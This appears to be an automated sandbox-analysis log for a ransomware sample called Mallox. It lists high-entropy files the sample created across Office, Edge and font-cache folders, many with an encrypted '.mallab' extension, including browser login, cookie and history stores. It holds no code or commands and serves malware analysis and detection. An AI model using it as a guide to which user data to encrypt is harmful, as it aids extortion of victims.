Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-DE entropy: 7.99918756428	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\LICENSE entropy: 7.99238738986	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Filtering Rules entropy: 7.9999030809	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf entropy: 7.99915877891	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf entropy: 7.99936215541	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf entropy: 7.99932645197	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf entropy: 7.99923889626	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf entropy: 7.99924512568	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf entropy: 7.99922475466	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf entropy: 7.99913044384	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf entropy: 7.99922492131	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf entropy: 7.99924888035	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf entropy: 7.99923967966	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf entropy: 7.999216542	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml entropy: 7.99960219664	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230172v1.xml entropy: 7.99472162336	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230170v1.xml entropy: 7.99345369718	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml entropy: 7.99981297348	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml entropy: 7.99574178842	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.99646123947	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_35.ttf entropy: 7.99972066721	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf entropy: 7.99919997814	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.9925769354	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99224928527	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99192402378	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99131015608	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\1975C9BF-831E-44E7-8FD4-112275A074AD entropy: 7.99891624036	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\7FDF1322-9EAD-442A-85C2-C39D5CC6893F entropy: 7.9988577876	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml entropy: 7.99947755838	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230172v1.xml entropy: 7.99354434551	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230170v1.xml entropy: 7.99212583896	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_095006_950-1db4.log entropy: 7.99379354576	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.gz entropy: 7.99919689374	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Ocomprivate.zip entropy: 7.99827994178	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.zip entropy: 7.99735769973	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.Controls.zip entropy: 7.99331468412	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Model.zip entropy: 7.99790017534	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.map.gz entropy: 7.99988564964	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.gz entropy: 7.9995302862	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.map.gz entropy: 7.99830488007	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.gz entropy: 7.99559877527	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.map.gz entropy: 7.99974616947	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.gz entropy: 7.9991550171	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.map.gz entropy: 7.9995023817	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.gz entropy: 7.99860704733	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.map.gz entropy: 7.99946982326	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.map.gz entropy: 7.99974694447	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.gz entropy: 7.99878777635	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm.mallab (copy) entropy: 7.99376118014	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-wal.mallab (copy) entropy: 7.99985986401	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\Microsoft.Lync.Utilities.Controls.zip.mallab (copy) entropy: 7.99331468412	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\Microsoft.Lync.Utilities.zip.mallab (copy) entropy: 7.99735769973	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\Microsoft.Lync.Model.zip.mallab (copy) entropy: 7.99790017534	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\Ocomprivate.zip.mallab (copy) entropy: 7.99827994178	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.gz.mallab (copy) entropy: 7.99878777635	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.gz.mallab (copy) entropy: 7.99919689374	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.map.gz.mallab (copy) entropy: 7.99974694447	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.map.gz.mallab (copy) entropy: 7.99946982326	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.gz.mallab (copy) entropy: 7.99860704733	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.map.gz.mallab (copy) entropy: 7.9995023817	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.gz.mallab (copy) entropy: 7.9991550171	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.map.gz.mallab (copy) entropy: 7.99974616947	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000109\dist\vendor.js.gz.mallab (copy) entropy: 7.99559877527	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000109\dist\vendor.js.map.gz.mallab (copy) entropy: 7.99830488007	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000109\dist\taskpane.js.gz.mallab (copy) entropy: 7.9995302862	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Program Files (x86)\microsoft office\root\Office16\sdxs\FA000000109\dist\taskpane.js.map.gz.mallab (copy) entropy: 7.99988564964	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.mallab (copy) entropy: 7.99906548408	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Comms\UnistoreDB\USSres00001.jrs.mallab (copy) entropy: 7.99994348459	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Ad Blocking\blocklist.mallab (copy) entropy: 7.99790300633	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Comms\UnistoreDB\USSres00002.jrs.mallab (copy) entropy: 7.99994072397	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Comms\UnistoreDB\USStmp.jtx.mallab (copy) entropy: 7.9999425913	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_field_data.json.mallab (copy) entropy: 7.99923866824	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Autofill\4.0.0.8\v1FieldTypes.json.mallab (copy) entropy: 7.99965123319	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E8F64-1910.pma.mallab (copy) entropy: 7.99995672162	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1\crl-set.mallab (copy) entropy: 7.99209616435	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E902E-1634.pma.mallab (copy) entropy: 7.99995368426	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log.mallab (copy) entropy: 7.99959580911	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E9065-1B98.pma.mallab (copy) entropy: 7.99995287175	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\DawnCache\data_1.mallab (copy) entropy: 7.99932530803	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\DawnCache\index.mallab (copy) entropy: 7.9993941967	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.mallab (copy) entropy: 7.99203754513	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.mallab (copy) entropy: 7.99442506545	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\ExtensionActivityEdge.mallab (copy) entropy: 7.99468868724	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Favicons.mallab (copy) entropy: 7.990338024	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js.mallab (copy) entropy: 7.99791888758	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\GPUCache\data_1.mallab (copy) entropy: 7.99935597684	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\HubApps Icons.mallab (copy) entropy: 7.9937029673	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\load_statistics.db-shm.mallab (copy) entropy: 7.99378951267	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\GPUCache\index.mallab (copy) entropy: 7.99929221153	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\History.mallab (copy) entropy: 7.99882120083	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Cookies.mallab (copy) entropy: 7.9912828793	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data.mallab (copy) entropy: 7.99661263267	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Reporting and NEL.mallab (copy) entropy: 7.99544337946	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Trust Tokens.mallab (copy) entropy: 7.99521118352	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Network Action Predictor.mallab (copy) entropy: 7.99580584865	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\load_statistics.db-wal.mallab (copy) entropy: 7.99727564192	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Nurturing\campaign_history.mallab (copy) entropy: 7.99083888814	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Secure Preferences.mallab (copy) entropy: 7.99375390003	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1.mallab (copy) entropy: 7.99930218832	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index.mallab (copy) entropy: 7.99929807992	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL.mallab (copy) entropy: 7.995028169	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1.mallab (copy) entropy: 7.99938459987	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens.mallab (copy) entropy: 7.99470788807	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Top Sites.mallab (copy) entropy: 7.99134091667	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index.mallab (copy) entropy: 7.99924716346	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Vpn Tokens.mallab (copy) entropy: 7.99343680233	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Visited Links.mallab (copy) entropy: 7.99855557503	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\uu_host_config.mallab (copy) entropy: 7.99956211416	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.mallab (copy) entropy: 7.99767931462	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Default\Web Data.mallab (copy) entropy: 7.99911405165	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.mallab (copy) entropy: 7.9998494359	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.mallab (copy) entropy: 7.99978833493	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.mallab (copy) entropy: 7.99775770759	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.mallab (copy) entropy: 7.99984762508	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.mallab (copy) entropy: 7.99983878026	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.mallab (copy) entropy: 7.99988305041	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.mallab (copy) entropy: 7.99950768128	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.mallab (copy) entropy: 7.99978018032	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.mallab (copy) entropy: 7.99996492107	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.mallab (copy) entropy: 7.99991888932	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ru\strings.json.mallab (copy) entropy: 7.99212196187	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\de\strings.json.mallab (copy) entropy: 7.99730509631	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\es\strings.json.mallab (copy) entropy: 7.99711073963	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\en-GB\strings.json.mallab (copy) entropy: 7.99696850749	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ar\strings.json.mallab (copy) entropy: 7.99748508281	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr\strings.json.mallab (copy) entropy: 7.99691637757	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr-CA\strings.json.mallab (copy) entropy: 7.99708763956	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\it\strings.json.mallab (copy) entropy: 7.9968333299	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\id\strings.json.mallab (copy) entropy: 7.99688835553	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ja\strings.json.mallab (copy) entropy: 7.99746021509	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\nl\strings.json.mallab (copy) entropy: 7.99675392814	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-BR\strings.json.mallab (copy) entropy: 7.99714337266	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-PT\strings.json.mallab (copy) entropy: 7.99662173909	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hans\strings.json.mallab (copy) entropy: 7.99633046595	Jump to dropped file
